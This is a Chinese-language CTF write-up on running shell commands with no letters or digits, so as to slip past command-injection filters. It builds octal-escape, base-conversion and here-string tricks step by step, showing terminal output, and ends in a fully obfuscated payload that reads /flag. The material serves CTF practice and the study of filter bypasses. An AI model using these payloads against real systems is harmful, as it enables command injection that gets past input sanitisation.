作者 | 修订时间 |
---|---|
2024-06-11 10:54:18 |
利用shell脚本变量构造无字母数字命令
shell脚本中$的多种用法
变量名 | 含义 |
---|---|
$0 | 脚本本身的名字 |
$1 | 脚本后所输入的第一串字符 |
$2 | 传递给该shell脚本的第二个参数 |
$* | 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’ |
$@ | 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’ |
$_ | 表示上一个命令的最后一个参数 |
$# | #脚本后所输入的字符串个数 |
$$ | 脚本运行的当前进程ID号 |
$! | 表示最后执行的后台命令的PID |
$? | 显示最后命令的退出状态,0表示没有错误,其他表示由错误 |
有数字的命令执行
首先,在linux里完美可以利用八进制的方法绕过一些ban了字母的题 ,即我们可以使用$'\xxx'
的方式执行命令,比如我们可以用$'\154\163'
执行ls
:
➜ / $'\154\163'
➜ /
可以发现有了这种技巧我们就可以在数字可用的情况下进行命令构造。
除此之外在bash里我们可以使用[base#]n
的方式表示数字,也就是说我可以用2#100
表示十进制数字4
➜ / echo $((2#100))
4
➜ / echo $((2#101))
5
➜ /
因此从这里我们又向前推进了一步,只有我们有数字1或者0那就可以继续构造命令。假如现在字母或者数字只有1和0可以用,这时我们可以使用位移运算1<<1代替2,得到payload:
$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
理论上它可以代替$'\154\163'
执行命令,但事实上是不行的:
➜ / $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
zsh: command not found: $'\154\163'
➜ /
可以看到这里只解析了一层解析到$'\154\163'
就解析不下去了,想要它继续解析,我们不难想到Linux里的eval函数:
➜ / eval $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
bin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp tmp.txt tpdata usr var www
➜ /
但可惜我们是不能使用它的,所以还是得老老实实的用1
或者0
构造,这里我们可以想到bash里的一种语法:command [args] <<<["]$word["]
,在这种语法下$word
会展开并作为command
的stdin
,以此来继续执行命令:
➜ / bash<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
bin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp tmp.txt tpdata usr var www
➜ /
但现在有个问题,就是用什么来代替bash,这时可以想到我之前文章里提到过的一个环境变量$0
,它可以表示脚本本身的名字,而这里正是bash:
root@racknerd-0f70a9:/# echo $"0"
0
root@racknerd-0f70a9:/#
因此我们不难想出一种构造方式来:
root@racknerd-0f70a9:/# $0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
bin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp tmp.txt tpdata usr var www
root@racknerd-0f70a9:/#
成功执行!假如这是一道CTF题,我们就该想想怎么执行cat /flag了,你想到的payload可能是:
$0<<<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
bash会告诉你不存在cat /flag
这种文件或者目录,很明显,bash是把它当作一个整体了,并没有有效的以空格作为分割,让cat作为命令,/flag作为参数,在ctfshow的极限命令执行题目里g4师傅给出了一种解决这种问题的方法——通过两次here-strings的方法来解析复杂的带参数命令,也就是说我们可以把payload改成:
执行成功,我们拿到了flag,但可以看到这种构造方式不够极限,里面不但出现0更出现了1,下面,我们开始构造真正的无字母数字命令。
利用$#构造
在之前那篇文章里我也提到过$#
这个变量,它可以表示#脚本后所输入的字符串个数:
如果#
后面啥也没有它就是0
,有一个字符串比如#
就变成了1
,似乎现在我们只要把1
用${##}
替换,0
用${#}
替换即可:
root@lavm-cobc2qtifw:/# $${#}<<<$${#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
65523{#}: command not found
可惜这种执行方法是不行的,因为虽然$0表示bash,${#}表示0,但把它们拼起来并不表示bash,这里$$直接执行了,意思是脚本运行的当前进程ID号。下一步你可能会想到linux里的字符串拼接,但这种拼接也只会解析第一层,不会解析到最后:
__="$""${#}";echo ${__};
因此理论上我们只要找到一个值为零的变量,然后就可以用这种方法进行变量替换得到$0,并且还能成功解析,这时我们很容易想到刚刚使用的${#},毕竟它的值就是零嘛:
root@lavm-cobc2qtifw:/# echo ${!#}
bash
root@lavm-cobc2qtifw:/#
可以看到确实能得到bash,我们再次替换回去,可以得到新payload:
root@lavm-cobc2qtifw:/# ${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
flag{1234}
root@lavm-cobc2qtifw:/#